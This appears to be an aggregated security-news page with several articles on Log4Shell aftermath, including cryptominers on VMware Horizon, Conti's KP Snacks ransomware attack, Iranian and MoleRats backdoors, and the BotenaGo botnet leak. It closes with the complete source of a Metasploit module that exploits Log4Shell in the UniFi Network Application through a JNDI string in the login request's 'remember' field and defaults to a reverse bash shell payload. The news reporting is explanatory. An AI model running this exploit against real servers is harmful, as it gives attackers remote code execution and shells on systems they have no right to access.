'Long Live Log4Shell': CVE-2021-44228 Not Dead Yet

 

Description

Jen Easterly, the director of the Cybersecurity and Infrastructure Security Agency (CISA), stated in a public news interview that the now-infamous Log4j flaw is the “the most serious vulnerability that [she has] seen in her career.” It’s not a stretch to say the whole security industry would agree.

December of 2021 will be looked back on with a tinge of trauma and dread for incident responders, system administrators and security practitioners. You all probably already know— on December 9, a remote code execution vulnerability was uncovered in the programming library named Log4j, which is nearly ubiquitous in Java applications and software used all across the internet.

It felt like this vulnerability affected, well, everything. On top of that, it was very difficult to determine what applications were vulnerable, and from what entry point.

The vulnerability made headlines and news articles with details about the threat were released left and right. Vendors came out of the woodwork—some explaining how they were affected, some helping the community with free resources—and others to pitch their product and capitalize on chaos. While payloads and bypass techniques were shared by the offense, detection capabilities and scanning tools were shared by the defense. Keeping up with the amount of information on the Log4shell vulnerability felt like drinking from a firehose.

But you already knew all that. We are even just adding to the noise with this article right here.

So let’s talk about something else.

Where Were the Exploits?

Despite the “sky is falling” aura in the information-security community during the weeks Log4Shell was uncovered, the industry saw surprisingly few large-scale attacks compared to what we expected. This was extremely fortunate.

We as defenders were flying by the seat of our pants—working to gauge the attack surface, how to detect, mitigate, patch and understand what this threat truly is. As it turns out, attackers were doing the same thing, scrambling and figuring things out as they went. Both offense and defense were working to stay one step ahead of the other side.

While there was less carnage and devastation than we expected, that’s not to say there wasn’t any. We saw our fair share of compromised VMware Horizon servers, alongside others in the industry.

After exploiting Log4j for initial access, threat actors would resort to their usual work: installing persistence to maintain access, lurking and dwelling in the environment (we’ve seen web-shell indicators dating back to December 23 while the industry caught wind of this around January 10), and continuing actions on objectives.

For some, the goal was further post-exploitation and compromise with tooling such as Cobalt Strike. More often than not, the malicious activity we have uncovered is abusing system power and resources to mine cryptocurrency.

A brief example highlights a detection caught by Windows Defender: a PowerShell command downloading and executing the code present at 80.71.158[.]96/xms.ps1 (at the time of writing, this link is still serving malware).

The retrieved xm.ps1 script reads as follows:

You can see it disables the firewall and executes a new binary for the XMRig miner. It creates scheduled tasks and new autorun entries for this to consistently run. Thanks to the initial access vector from the Log4j vulnerability in the VMware Horizon server, the operator runs commands under the context of the “NT AUTHORITY\SYSTEM” user: the absolute owner and administrator of the device.

Maintaining this SYSTEM-level access is done by a deployed web shell, often in the form seen below.

The web shell enabled attackers to control this box remotely from anywhere in the world. Commands that were run through this web shell were still executed under the context of the NT AUTHORITY\SYSTEM (root-level privileges).

Log4j Opened the Door

The CVE-2021-44228 Log4j vulnerability offers initial access, which means hackers can then perform all the disruption, degradation and potential destruction they wish. Coupled with other vulnerabilities and exploitation techniques, even more damage could be done.

One particular recent vulnerability, the CVE-2021-4034 “PwnKit” bug affecting the PolKit pkexec utility, is of note. It’s present on a significant number of Linux distributions, and will easily elevate any low-privilege user to root and administrator access. Weaponizing both the trivial Log4j vulnerability for initial access, as well as the trivial pkexec vulnerability for privilege escalation, could make for easy mass compromise of Linux servers if they are not patched.

Needless to say, patching was, is and always will be the utmost priority. In the case of Log4j, some individuals thought that using an up-to-date version of Java (the language interpreter itself), rather than the individual Log4j library would be enough. This was quickly debunked, and the attack chain was made publicly available in the JNDI-Exploit-Kit project on GitHub.

Just added support to LDAP Serialized Payloads in the JNDI-Exploit-Kit. This attack path works in ANY java version as long the classes used in the Serialized payload are in the application classpath. Do not rely on your java version being up-to-date and update your log4j ASAP! pic.twitter.com/z3B2UolisR

— Márcio Almeida (@marcioalm) December 13, 2021

If the vulnerable Log4 library is not patched, there is still a risk, even if initial access is not possible. The syntax used to pull off the attack relies on an outbound connection, reaching out via the LDAP protocol to retrieve a Java class hosted elsewhere. In this outbound connection request, the attacker could exfiltrate sensitive information potentially stored in environment variables.

Cloud-based hosted networks or other production systems might hold secrets or access tokens within these environment variables. If these secrets like AWS_SECRET_ACCESS_KEY in Amazon Web Services were to be leaked, a threat actor could then enable themselves to compromise even more.

So What Now?

While the cybersecurity industry moves through the beginning of 2022, the Log4j nightmare is just another incident that makes us want to say goodbye and good riddance to 2021. But it’s not quite in the rearview mirror just yet.

Remember when we thought that, after applying a patch or two, the previous Microsoft Exchange vulnerability ProxyLogon would disappear? But in what felt like an instant, threat actors flung ProxyShell into all of our worlds, taking many by surprise. And while ProxyShell/ProxyLogon ended up not being quite as significant as Log4shell, these vulnerabilities still prove that threat actors love to recycle and level up a good threat whenever they can.

Considering just how deeply embedded the use of the Log4j package could be within applications, this vulnerability could continue to rear its head for many years to come. Much like the old Shellshock bug, some vendors or software providers might not even know the issue exists until it is discovered externally somewhere down the road.

Only time will tell if Log4shell makes a fierce return and disrupts the industry again (not to mention, our holiday weekends). As we continue through this year, it’s best to keep an eye on those sideview mirrors—just in case.

John Hammond is a senior security researcher at Huntress.

Read More

KP Snacks Left with Crumbs After Ransomware Attack

 

Description

KP Snacks, maker of the high-end Tyrrell’s and Popchips potato-chip brands, has suffered a ransomware attack that it said could affect deliveries to supermarkets through the end of March – at the earliest.

The British company (also the purveyor of deeply English treats such as Skips prawn cocktail snacks and Butterkist toffees) said that the Conti gang was behind the strike, which was reportedly discovered on Monday. True to form, the cyberattackers also stole data in a classic double-extortion gambit, posting “proof” of the steal on its leak site.

According to Better Retailing, which first reported the incident, the crisps connoisseur sent its merchant partners a letter on Wednesday explaining the situation, noting that it “cannot safely process orders or dispatch goods.”

“We have teams working through the resolution, but it is unknown when this will be resolved,” the letter, obtained by the outlet, read. “Expect supply issues on base stock and promotions until further notice…initial discussions have highlighted that no orders will be being placed or delivered for a couple of weeks at least and service could be affected until the end of March at the earliest.”

The provisions peddler also has issued a media statement, featuring the usual boilerplate:

“On Friday, 28 January we became aware that we were unfortunately victims of a ransomware incident. As soon as we became aware of the incident, we enacted our cybersecurity response plan and engaged a leading forensic information technology firm and legal counsel to assist us in our investigation. Our internal IT teams continue to work with third-party experts to assess the situation. We have been continuing to keep our colleagues, customers, and suppliers informed of any developments and apologise for any disruption this may have caused.”

Conti, a sophisticated Russian-speaking cybercrime group, is known for its advanced tactics. Palo Alto Networks has called it “one of the most ruthless” of dozens of ransomware groups currently operating. In December, for instance, it became one of the first to develop a full attack chain for the Log4Shell vulnerability (Emotet -> Cobalt Strike -> Human Exploitation -> (no ADMIN$ share) -> Kerberoast -> vCenter ESXi with log4shell scan for vCenter).

“It’s unfortunate to see another organization become one of the 400 victims and counting to be hit by Conti,” Steve Moore, chief security strategist at Exabeam, said via email. “Unfortunately, these groups keep getting away with these intrusions because they are experts at compromising credentials. Specifically, they utilize Mimikatz, Kerberoast to attack Kerberos, and even check for saved passwords in domain group policy files. Interestingly, they will specifically search for security policy and cyber-insurance documents – showing that context matters even to the adversary!”

During that recon effort, the group also stole “credit card statements, birth certificates, spreadsheets with employee addresses and phone numbers, confidential agreements and other sensitive documents,” according to BleepingComputer’s peek at the data-leak site. And according to one source, KP Snacks has been put on a countdown clock where the data will be published if the company doesn’t pay up within four or so days at this point.

🌐 Conti (Ryuk) #Ransomware team just ransomed another huge victim 🚨

The group infiltrated and encrypted the company’s network and stole a lot of data, the company is from the UK 🇬🇧 with $900 million revenue 💸

Five days left ⌛️#Conti pic.twitter.com/m2e9Jxr7L7

— DarkFeed (@ido_cohen2) February 1, 2022

“Data is no longer a commodity, it’s a currency — as this incident represents,” Amit Shaked, CEO at Laminar, told Threatpost via email. “Information within an organization’s network is valuable to both businesses and attackers. With a majority of the world’s data residing in the cloud, it is imperative that security becomes data-centric and solutions become cloud-native. As cloud architectures become more dynamic and complex, solutions need to be completely integrated with the cloud in order to identify potential risks and have a deeper understanding of where the data resides. Using the dual approach of visibility and protection, data security teams can know for certain which data stores are valuable targets and ensure proper controls are in place.”

KP Snacks isn’t alone – the Walkers company, also a booster of British “biscuits” and other nosh, was recently affected by what was termed “computer glitches” at its factories.

Cover image courtesy of KP Snacks.

Read More

Iranian Hackers Using New PowerShell Backdoor in Cyber Espionage Attacks

 

Description

An advanced persistent threat group with links to Iran has updated its malware toolset to include a novel PowerShell-based implant called PowerLess Backdoor, according to new research published by Cybereason.

The Boston-headquartered cybersecurity company attributed the malware to a hacking group known as Charming Kitten (aka Phosphorous, APT35, or TA453), while also calling out the backdoor’s evasive PowerShell execution.

“The PowerShell code runs in the context of a .NET application, thus not launching ‘powershell.exe’ which enables it to evade security products,” Daniel Frank, senior malware researcher at Cybereason, said. “The toolset analyzed includes extremely modular, multi-staged malware that decrypts and deploys additional payloads in several stages for the sake of both stealth and efficacy.”

The threat actor, which is active since at least 2017, has been behind a series of campaigns in recent years, including those wherein the adversary posed as journalists and scholars to deceive targets into installing malware and stealing classified information.

Earlier this month, Check Point Research disclosed details of an espionage operation that involved the hacking group exploiting the Log4Shell vulnerabilities to deploy a modular backdoor dubbed CharmPower for follow-on attacks.

The latest refinements to its arsenal, as spotted by Cybereason, constitutes an entirely new toolset that encompasses the PowerLess Backdoor, which is capable of downloading and executing additional modules such as a browser info-stealer and a keylogger.

Also potentially linked to the same developer of the backdoor are a number of other malware artifacts, counting an audio recorder, an earlier variant of the information stealer, and what the researchers suspect to be an unfinished ransomware variant coded in .NET.

Furthermore, infrastructure overlaps have been identified between the Phosphorus group and a new ransomware strain called Memento, which first emerged in November 2021 and took the unusual step of locking files within password-protected archives, followed by encrypting the password and deleting the original files, after their attempts to encrypt the files directly were blocked by endpoint protection.

“The activity of Phosphorus with regard to ProxyShell took place in about the same time frame as Memento,” Frank said. “Iranian threat actors were also reported to be turning to ransomware during that period, which strengthens the hypothesis that Memento is operated by an Iranian threat actor.”

Read More

BotenaGo Botnet Code Leaked to GitHub, Impacting Millions of Devices

 

Description

The BotenaGo botnet source code has been leaked to GitHub, putting millions of routers and internet-of-things (IoT) devices at risk, researchers said.

In a Wednesday report, AT&T Alien Labs – which first discovered the difficult-to-detect malware in November – said it expects that the ready availability of the source code to malware authors will widen the number of attacks.

Uploading of the source code to GitHub “can potentially lead to a significant rise of new malware variants as malware authors will be able to use the source code and adapt it to their objectives,” Alien Labs security researcher Ofer Caspi wrote. “Alien Labs expects to see new campaigns based on BotenaGo variants targeting routers and IoT devices globally.”

Caspi said that as of yesterday, antivirus (AV) vendor detection for BotenaGo and its variants was still bumping along near the bottom when it comes to detecting the malware, with the BotenaGo samples discovered back in November still slipping past most AV software to infect systems with one of the most popular botnets: Mirai.

The screen capture below from VirusTotal below shows how few AV programs – three out of 60 – are detecting the malware’s new variants.

Low level of AV detections for BotenaGo’s new variants. Source: VirusTotal.

Scrawny Code, Brawny Malware

Alien Labs only recently discovered that the BotenaGo source code had been uploaded to the wildly popular GitHub software development platform a month prior to when researchers discovered the malware to begin with: Specifically, it was uploaded on Oct. 16.

The leak means that any malicious actor can use, modify and upgrade the malware, Caspi said, “or even simply compile it as is and use the source code as an exploit kit, with the potential to leverage all BotenaGo’s exploits to attack vulnerable devices.”

Researchers also found additional hacking tools, from several sources, collected in the same repository.

Alien Labs called the malware source code “simple yet efficient,” able to carry out malware attacks with a grand total of a mere 2,891 lines of code (including empty lines and comments). In its November writeup, Alien Labs noted that BotenaGo, written in Google’s open-source Golang programming language, could exploit 33 vulnerabilities for initial access.

The malware is light, easy to use and powerful. BotenaGo’s 2,891 lines of code are all that’s needed for a malware attack, including, but not limited to, installing a reverse shell and a telnet loader used to create a backdoor to receive commands from its command-and-control (C2) operator.

Caspi explained that BotenaGo has automatic setup of its 33 exploits, presenting an attacker a “ready state” to attack a vulnerable target and infect it with an appropriate payload based on target type or operating system.

The source code leaked to GitHub and depicted below features a “supported” list of vendors and software used by BotenaGo to target its exploits at a slew of routers and IoT devices.

BotenaGo’s available exploits for multiple vendors, as commented out on leaked source code. Source: GitHub screen capture via AT&T Alien Labs.

New C2 Server

Besides the fact that BotenaGo is still going undetected by the majority of AV products, Alien Labs also recently found that one variant is configured to use a new C2 server, as shown below.

Command to configure a C2 server for a BotenaGo variant. Source: AT&T Alien Labs.

Caspi said that it’s also worth noting that “the IP address for one of BotenaGo’s payload storage servers is included in the list of indicators of compromise (IoCs) for detecting exploitation of the Apache Log4Shell flaw in the Log4j logging library.”

Following in Mirai’s Footsteps

With the recent release of BotenaGo’s source code, the risk to routers and IoT devices is going to spike, Caspi predicted. History tells the tale: The Mirai botnet rocketed to prominence after its source code had similarly been uploaded to a hacking community forum in 2016, and later uploaded to GitHub along with details about its infrastructure, configuration and how to build it.

“Today, BotenaGo variants serve as a standalone exploit kit and as a spreading tool for other malware,” he said. “Now with its source code available to any malicious hacker, new malicious activity can be added easily to the malware. Alien Labs sees the potential for a significant increase in these malware variants, giving rise to potentially new malware families that could put millions of routers and IoT devices at risk of attack.”

How to Make BotenaGo Go-Go-Go Away

Alien Labs researchers recommend three steps to keep this malware off devices:

1. Maintain minimal exposure to the Internet on Linux servers and IoT devices and use a properly configured firewall;
2. Install security and firmware upgrades from vendors, as soon as possible;
3. And check your system for unnecessary open ports and suspicious processes.

Read More

Initial Access Broker Involved in Log4Shell Attacks Against VMware Horizon Servers

 

Description

An initial access broker group tracked as Prophet Spider has been linked to a set of malicious activities that exploits the Log4Shell vulnerability in unpatched VMware Horizon Servers.

According to new research published by BlackBerry Research & Intelligence and Incident Response (IR) teams today, the cybercrime actor has been opportunistically weaponizing the shortcoming to download a second-stage payload onto the victimized systems.

The payloads observed include cryptocurrency miners, Cobalt Strike Beacons, and web shells, corroborating a previous advisory from the U.K. National Health Service (NHS) that sounded the alarm on active exploitation of the vulnerabilities in VMware Horizon servers to drop malicious web shells and establish persistence on affected networks for follow-on attacks.

Log4Shell is a moniker used to refer to an exploit affecting the popular Apache Log4j library that results in remote code execution by logging a specially crafted string. Since public disclosure of the flaw last month, threat actors have been quick to operationalize this new attack vector for a variety of intrusion campaigns to gain full control of affected servers.

BlackBerry said it observed instances of exploitation mirroring tactics, techniques, and procedures (TTPs) previously attributed to the Prophet Spider eCrime cartel, including the use of “C:\Windows\Temp\7fde” folder path to store malicious files and “wget.bin” executable to fetch additional binaries as well as overlaps in infrastructure used by the group.

“Prophet Spider primarily gains access to victims by compromising vulnerable web servers, and uses a variety of low-prevalence tools to achieve operational objectives,” CrowdStrike noted in August 2021, when the group was spotted actively exploiting flaws in Oracle WebLogic servers to gain initial access to target environments.

Like with many other initial access brokers, the footholds are sold to the highest bidder on underground forums located in the dark web, who then exploit the access for ransomware deployment. Prophet Spider is known to be active since at least May 2017.

This is far from the first time internet-facing systems running VMware Horizon have come under attack using Log4Shell exploits. Earlier this month, Microsoft called out a China-based operator tracked as DEV-0401 for deploying a new ransomware strain called NightSky on the compromised servers.

The onslaught against Horizon servers has also prompted VMware to urge its customers to apply the patches immediately. “The ramifications of this vulnerability are serious for any system, especially ones that accept traffic from the open Internet,” the virtualization services provider cautioned.

“When an access broker group takes interest in a vulnerability whose scope is so unknown, it’s a good indication that attackers see significant value in its exploitation,” Tony Lee, vice president of global services technical operations at BlackBerry, said.

“It’s likely that we will continue to see criminal groups exploring the opportunities of the Log4Shell vulnerability, so it’s an attack vector against which defenders need to exercise constant vigilance,” Lee added.

Read More

MoleRats APT Launches Spy Campaign on Bankers, Politicians, Journalists

 

Description

Malicious files doctored up to look like legitimate content related to the Israeli-Palestine conflict are being used to target prominent Palestinians, as well as activists and journalists in Turkey, with spyware.

That’s according to a disclosure from Zscaler, which attributes the cyberattacks to the MoleRats advanced persistent threat (APT). Zscaler’s research team was able to tie MoleRats, an Arabic-speaking group with a history of targeting Palestinian interests, to this campaign because of overlap in the .NET payload and command-and-control (C2) servers with previous MoleRats APT attacks.

This campaign started last July, Zscaler reported.

MoleRats used the Dropbox API for C2 communications in both this and previous campaigns, as well as Google Drive and other established cloud-hosting services to host the payloads, according to Zscaler.

“The targets in this campaign were chosen specifically by the threat actor and they included critical members of the banking sector in Palestine, people related to Palestinian political parties, as well as human rights activists and journalists in Turkey,” Zscaler’s analysts found.

The MoleRats Attack Chain. Source: Zscaler.

The analysts also found overlapping domain SSL-certificate data in this attack and previous known MoleRats attacks, as well as common domains used for passive DNS resolution, the report added.

The attack delivers malicious decoy Arabic-language content seemingly related to the Palestinian conflict with Israel, with a macro code, which executes a PowerShell command to fetch the malware:

New MoleRats Backdoor Delivery

Once executed, the malware creates a backdoor to the victim’s device and downloads its contents to a Dropbox folder, according to the researchers, who report finding at least five Dropboxes currently being used by the attackers.

Zscaler tracked the attack chain back through Dropbox and discovered that the APT’s machine is operating in the Netherlands with the same IP subnet as the C2, along with domains used in past MoleRats APT campaigns.

The most recent MoleRats attacks showed some innovation over previous campaigns in backdoor delivery, according to the report.

“Although we are not sure how these .RAR/.ZIP files were delivered, considering the past attacks they were likely delivered using phishing PDFs,” the Zscaler team determined.

The Zscaler report comes amid a recent explosion of APT attacks, which are up more than 50 percent over the past year. That’s fueled in large part by Log4Shell attacks, according to recent Check Point Research.

Read More

UniFi Network Application Unauthenticated Log4Shell Remote Code Execution

 `##  

# This module requires Metasploit: https://metasploit.com/download  

# Current source: https://github.com/rapid7/metasploit-framework  

##  

class MetasploitModule < Msf::Exploit::Remote  

Rank = ExcellentRanking  

  

include Msf::Exploit::Remote::JndiInjection  

include Msf::Exploit::Remote::HttpClient  

prepend Msf::Exploit::Remote::AutoCheck  

  

def initialize(_info = {})  

super(  

'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',  

'Description' => %q{  

The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell  

vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the  

/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java  

object. This results in OS command execution in the context of the server application.  

  

This module will start an LDAP server that the target will need to connect to.  

},  

'Author' => [  

'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff  

'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff  

'Nicholas Anastasi' # Unifi research  

],  

'References' => [  

[ 'CVE', '2021-44228' ],  

[ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],  

[ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],  

[ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]  

],  

'DisclosureDate' => '2021-12-09',  

'License' => MSF_LICENSE,  

'DefaultOptions' => {  

'RPORT' => 8443,  

'SSL' => true,  

'WfsDelay' => 30  

},  

'DefaultTarget' => 1,  

'Targets' => [  

[  

'Windows', {  

'Platform' => 'win'  

},  

],  

[  

'Unix', {  

'Platform' => 'unix',  

'Arch' => [ARCH_CMD],  

'DefaultOptions' => {  

'PAYLOAD' => 'cmd/unix/reverse_bash'  

}  

},  

]  

],  

'Notes' => {  

'Stability' => [CRASH_SAFE],  

'SideEffects' => [IOC_IN_LOGS],  

'AKA' => ['Log4Shell', 'LogJam'],  

'Reliability' => [REPEATABLE_SESSION]  

}  

)  

register_options([  

OptString.new('TARGETURI', [ true, 'Base path', '/'])  

])  

end  

  

def wait_until(&block)  

datastore['WfsDelay'].times do  

break if block.call  

  

sleep(1)  

end  

end  

  

def check  

validate_configuration!  

res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))  

return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?  

  

server_version = res.get_json_document.dig('meta', 'server_version')  

return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/  

  

vprint_status("Detected version: #{server_version}")  

server_version = Rex::Version.new(server_version)  

if server_version < Rex::Version.new('5.13.29')  

return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')  

elsif server_version > Rex::Version.new('6.5.53')  

return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')  

end  

  

vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')  

  

start_service  

res = trigger  

return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?  

  

wait_until { @search_received }  

@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')  

ensure  

stop_service  

end  

  

def build_ldap_search_response_payload  

return [] if @search_received  

  

@search_received = true  

  

return [] unless @exploiting  

  

print_good('Delivering the serialized Java object to execute the payload...')  

build_ldap_search_response_payload_inline('BeanFactory')  

end  

  

def trigger  

@search_received = false  

# HTTP request initiator  

send_request_cgi(  

'uri' => normalize_uri(target_uri, 'api', 'login'),  

'method' => 'POST',  

'ctype' => 'application/json',  

'data' => {  

'username' => rand_text_alphanumeric(8..16), # can not be blank!,  

'password' => rand_text_alphanumeric(8..16), # can not be blank!  

'remember' => jndi_string,  

'strict' => true  

}.to_json  

)  

end  

  

def exploit  

validate_configuration!  

  

@exploiting = true  

start_service  

res = trigger  

fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?  

  

msg = res.get_json_document.dig('meta', 'msg')  

if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29  

fail_with(Failure::NotVulnerable, 'The target is not vulnerable')  

end  

  

unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)  

fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')  

end  

  

wait_until { @search_received && (!handler_enabled? || session_created?) }  

handler  

ensure  

cleanup  

end  

end  

`

Read More